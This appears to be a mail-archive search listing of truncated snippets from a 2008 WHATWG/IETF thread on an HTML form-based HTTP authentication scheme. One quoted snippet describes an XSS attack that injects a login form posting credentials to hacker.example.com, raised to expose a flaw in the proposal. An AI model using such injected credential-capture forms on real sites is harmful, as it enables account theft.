[ CC: ietf-http-wg, ietf-http-auth; please follow up to ietf-http-auth only ]
See
http://lists.whatwg.org/pipermail/whatwg-whatwg.org/2008-November/017569.html
The thread started at
http://lists.whatwg.org/pipermail/whatwg-whatwg.org/2008-November/017413.html
On Wed, Nov 26, 2008 at 12:47 PM,
Ian Hickson wrote:
On Wed, 26 Nov 2008, Philip Taylor wrote:
If I'm not misunderstanding things, there is a new attack scenario:
I post a comment on someone's blog, saying a
href=/restricted-access.php?xsshole=form
action=http://hacker.example.com/capture name=logininput
name=usernameinput
Martin Atkins wrote:
...
I may be forgetting missing some use-cases here (I don't recall what
exactly motivated this custom auth scheme) but there may still be value
in a cut-down version of this scheme:
...
I concede that once you generalize it in this way it becomes even less
relevant
On Wed, Nov 26, 2008 at 10:38 PM, Ian Hickson wrote:
Ok let me rephrase. What are the user agent requirements for processing
the realm value? For other schemes, it's basically show the realm to
the user as a hint as to what password is wanted.
The realm is (should be) part of the key used by
On Wed, Nov 26, 2008 at 11:40 PM, Martin Atkins wrote:
Julian Reschke wrote:
You can already handle the case of content that's available
unauthenticated, but would potentially differ in case of being authenticated
by adding
Vary: Authorization
to a response.
According to section 14.8
Thomas Broyer wrote:
...
Julian is saying that if your page varies depending on the user being
authenticated and/or the client not being authenticated at all, you
(the origin server) should include a Vary: Authorization.
This means that if a shared cache has cached the response to an
On Thu, Nov 27, 2008 at 1:41 PM, Julian Reschke wrote:
Thomas Broyer wrote:
...
Actually, what's missing from HTTP is a way to ask you to authenticate
but allow anonymous authentication (others have proposed sending a
...
Could you define what anonymous authentication would mean precisely?
Thomas Broyer wrote:
I don't really mind, as long as the server is able to say I give you
this thing to you anonymous user, but you can also authenticate (e.g.
to be proposed more features). This is the exact use-case many web
site (including most if not all e-commerce web sites) are facing, and
Henri Sivonen wrote:
That seems like a bad optimization. Adding an off-the-shelf HTML parser
to a bot is much easier than tuning the general crawling functionality
and task-specific functionality of a bot.
I suspect this will require far more of the bot than merely parsing
HTML. Many login
On Thu, Nov 27, 2008 at 5:56 PM, Julian Reschke wrote:
Thomas Broyer wrote:
I don't really mind, as long as the server is able to say I give you
this thing to you anonymous user, but you can also authenticate (e.g.
to be proposed more features). This is the exact use-case many web
site
Asbjørn Ulsberg wrote:
[Response 1]
HTTP/1.1 401 Unauthorized
WWW-Authenticate: HTML realm=Administration
!DOCTYPE html
html
form action=/login
input name=username
input type=password name=password
input type=submit
/form
/html
Interesting. If we go down
Julian Reschke wrote:
...
Actually, what's missing from HTTP is a way to ask you to authenticate
but allow anonymous authentication (others have proposed sending a
...
Could you define what anonymous authentication would mean precisely?
I'm not sure this is what the OP meant, but I'd
On Wed, 26 Nov 2008 23:42:33 +0100, Calogero Alex Baldacchino [EMAIL
PROTECTED] wrote:
Martin Atkins wrote:
Your auth token here seems to me to be equivalent to a session cookie.
Yes, it does. But since session cookies are just that: cookies -- it isn't. An
authentication token is
On Wed, 26 Nov 2008 23:42:33 +0100, Calogero Alex Baldacchino [EMAIL
PROTECTED] wrote:
Martin Atkins wrote:
Your auth token here seems to me to be equivalent to a session cookie.
Yes, it does. But since session cookies are just that: cookies -- it isn't. An
authentication token is
Martin Atkins wrote:
This idea has promise, but is it compatible with existing browsers?
The case where the only challenge included is HTML is probably okay,
since browsers will at this point likely determine that they don't
support any of the given schemes and just display the entity body.
On Nov 26, 2008, at 13:19, Julian Reschke wrote:
So wouldn't it make sense to address the common use case so that it
doesn't require the bot (the non-HTML UA) to parse the response
body?
That seems like a bad optimization. Adding an off-the-shelf HTML
parser to a bot is much easier than
Henri Sivonen wrote:
That seems like a bad optimization. Adding an off-the-shelf HTML parser
to a bot is much easier than tuning the general crawling functionality
and task-specific functionality of a bot.
I'll be convinced when I see support for this being integrated into the
MacOsX and
Ian Hickson schrieb:
...and there must be a form element with name=login, which represents
the form that must be submitted to log in.
Forgive me if this is a stupid question... but anyway: Are there other
cases where values of the name attribute have special functionalities?
Otherwise, I'd
Ian Hickson wrote:
...
I don't understand why it makes a difference what the form is like. It
should apply whatever credentials it has been given -- whatever those
might be, username/password, certificate, fake addressa and phone number,
whatever, and submit the form. Just like a user.
...
On Wed, 26 Nov 2008, Thomas Broyer wrote:
I came to the same conclusion and already implemented it (with a custom
application-specific scheme) in an Enterprise app (the custom scheme
accepts both HTML form, i.e. cookie, and an Authorization request-header
–we're using it for
Ian Hickson wrote:
On Wed, 26 Nov 2008, Julian Reschke wrote:
Ian Hickson wrote:
...
As can be seen in the feedback below, there is interest in improving the So
when you get to a page that expects you to be logged in, it return a 401
with:
WWW-Authenticate: HTML form=login
...and there
On Wed, 26 Nov 2008, Julian Reschke wrote:
Ian Hickson wrote:
Anyway, if it's out of sync, authentication is not going to work, so
it should be noticed quickly.
On the contrary, authentication is going to work fine for 99% of users
and it's only when a lone user tries using a bot
Ian Hickson wrote:
...
On Wed, 26 Nov 2008, Julian Reschke wrote:
Do you have a concrete example where the login form is complex in a
manner where the fields can't be identified and there is reason to
believe that a bot will want to authenticate but won't have been given
enough information to
Ian Hickson wrote:
On Wed, 26 Nov 2008, Julian Reschke wrote:
If the form is more complex than two fields (identity/secret), then I
don't see how authentication is going to work except by displaying the
form -- just extracting the field names certainly wouldn't be
sufficient, even if they
On Wed, 26 Nov 2008, Julian Reschke wrote:
I'm not sure what you mean by fatal error. The spec precisely
defines which form should be used in the case of multiple forms with
the same name. Could you describe the attack scenario you are
considering?
If everybody UA is going to run
On Wed, 26 Nov 2008, Julian Reschke wrote:
Ian Hickson wrote:
...
As can be seen in the feedback below, there is interest in improving the So
when you get to a page that expects you to be logged in, it return a 401
with:
WWW-Authenticate: HTML form=login
...and there must be
On Wed, 26 Nov 2008, Julian Reschke wrote:
Ian Hickson wrote:
A simple way to achieve it would be to restrict it to username/password
pairs, and to have the names of these form parameters live in the response
headers as well.
We would have to, at a minimum, include the name of the
Ian Hickson wrote:
Anyway, if it's out of sync, authentication is not going to work, so it
should be noticed quickly.
On the contrary, authentication is going to work fine for 99% of users and
it's only when a lone user tries using a bot that it'll break.
Yes, that's what I meant: it will
On Wed, Nov 26, 2008 at 10:12 AM, Ian Hickson [EMAIL PROTECTED] wrote:
On Wed, 26 Nov 2008, Julian Reschke wrote:
Ian Hickson wrote:
...
As can be seen in the feedback below, there is interest in improving the So
when you get to a page that expects you to be logged in, it return a 401
On Tue, 25 Nov 2008 19:54:46 +0100, Julian Reschke [EMAIL PROTECTED] wrote:
thanks a lot for this proposal which seems to go into the right
direction.
Indeed. I think this is an area with an enormous potential for improvement and
it's very encouraging to see so many great ideas about the
On Wed, 26 Nov 2008, Philip Taylor wrote:
If I'm not misunderstanding things, there is a new attack scenario:
I post a comment on someone's blog, saying a
href=/restricted-access.php?xsshole=form
action=http://hacker.example.com/capture name=logininput
name=usernameinput
On Wed, 26 Nov 2008, Jonas Sicking wrote:
As I said at the F2F meeting in France, I don't think this is the right
way to go. I think moving away from passwords and HTML logins are
absolutely necessary.
I agree.
There are much better identity based authentication schemes out there.
Asbjørn Ulsberg wrote:
[Request 1]
GET /administration/ HTTP/1.1
[Response 1]
HTTP/1.1 401 Unauthorized
WWW-Authenticate: HTML realm=Administration
!DOCTYPE html
html
form action=/login
input name=username
input type=password name=password
input type=submit
Julian Reschke wrote:
You can already handle the case of content that's available
unauthenticated, but would potentially differ in case of being
authenticated by adding
Vary: Authorization
to a response.
According to section 14.8 of the HTTP 1.1 specification, the presence of
the
artin Atkins ha scritto:
Asbjørn Ulsberg wrote:
[Request 1]
GET /administration/ HTTP/1.1
[Response 1]
HTTP/1.1 401 Unauthorized
WWW-Authenticate: HTML realm=Administration
!DOCTYPE html
html
form action=/login
input name=username
input type=password
Ian Hickson wrote:
...
Ok let me rephrase. What are the user agent requirements for processing
the realm value? For other schemes, it's basically show the realm to
the user as a hint as to what password is wanted. But here we aren't
going to show anything to the user.
...
Yes. It's the
Martin Atkins wrote:
...
By that line of reasoning, you could equally argue that sites don't need
this authentication scheme at all since they do just fine without it today.
I think this new authentication scheme is most interesting when used in
conjunction with other schemes, because it
On Wed, Nov 26, 2008 at 6:13 PM, Julian Reschke [EMAIL PROTECTED] wrote:
* IE7: Rendered the response body as a normal page
* F3: Rendered the response body as a normal page
This behavior is what needs to be specified by this working group. The
rest can be handled by authentication
Ian Hickson wrote:
As can be seen in the feedback below, there is interest in improving the
experience with logging in and out of Web sites.
Currently there are two main mechanisms: HTTP authentication, and
cookie-based authentication with a form login.
Benefits of form authentication
Hi Ian,
thanks a lot for this proposal which seems to go into the right direction.
I didn't yet have time to look into this in detail, but it currently
seems to require the UA to still parse the HTML page. Wouldn't it be
better of the *headers* of the response (such as WW-Authenticate, Link,
On Tue, 25 Nov 2008, Tab Atkins Jr. wrote:
This bit confused the hell out of me. Like Martin Atkins (no
relation... probably) suggested, whenever someone's auth is bad for
whatever reason I redirect them to the login page, possibly with an
error message explaining what went wrong.
You
Ian Hickson wrote:
...
I didn't yet have time to look into this in detail, but it currently
seems to require the UA to still parse the HTML page. Wouldn't it be
better of the *headers* of the response (such as WW-Authenticate, Link,
...) would contain sufficient information to perform the
Ian Hickson schrieb:
On Tue, 25 Nov 2008, Julian Reschke wrote:
The problem is that you'd basically have to duplicate the entire form,
since login forms can be arbitrarily complex. If the bot has the
username and password, why not also give it the username field name,
password field
Ian Hickson wrote:
For instance, we've been working on a search engine that scan internet
sites that may require authentication. Configuring that login for each
site would be a maintenance nightmare.
Well for a piece of software of that scale, parsing the document using an
off-the-shelf HTML
Julian Reschke schrieb:
Ian Hickson wrote:
For instance, we've been working on a search engine that scan internet
sites that may require authentication. Configuring that login for each
site would be a maintenance nightmare.
Well for a piece of software of that scale, parsing the document
On Tue, 25 Nov 2008, Julian Reschke wrote:
Well for a piece of software of that scale, parsing the document using
an off-the-shelf HTML parser and finding the first matching form
element and then applying normal HTML semantics to get to the form
fields seems like a pretty small task
Ian Hickson wrote:
I wouldn't recommend running an HTTP parser in the kernel either. Anywhere
where you can safely run an HTTP parser you can run an HTML parser too.
Maybe, maybe not. I'll leave the answer to those who need to do it.
To do that, it would need to *capture* that information
On Tue, 25 Nov 2008, Julian Reschke wrote:
To do that, it would need to *capture* that information somewhere. I
was assuming the whole point in the exercise was to avoid having to
pop up an HTML based UI...
Well if you don't have the credentials, you can't really login anyway.
On Tue, 25 Nov 2008, Julian Reschke wrote:
I was hoping that the authentication scheme you're defining can be used
without parsing the HTML response.
A simple way to achieve it would be to restrict it to username/password
pairs, and to have the names of these form parameters live in the
On Tue, 25 Nov 2008 05:26:47 -, Ian Hickson [EMAIL PROTECTED] wrote:
http://www.w3.org/TR/1999/NOTE-authentform-19990203
[...]
I don't really understand what problem the above solves that isn't solved
better by SSL.
I agree that if real security is desired, SSL is the only way to go.
On Wed, 26 Nov 2008, Kornel Lesinski wrote:
On Tue, 25 Nov 2008 05:26:47 -, Ian Hickson [EMAIL PROTECTED] wrote:
http://www.w3.org/TR/1999/NOTE-authentform-19990203
[...]
I don't really understand what problem the above solves that isn't solved
better by SSL.
I agree that if
Ian Hickson wrote:
It seems to me that the first limitation of form authentication could be
removed by inventing a new WWW-Authenticate challenge that means reply to
the form in the page. I have now specified such a value in HTML5 (since
it is specific to entity bodies that contain HTML
52 matches
Mail list logo
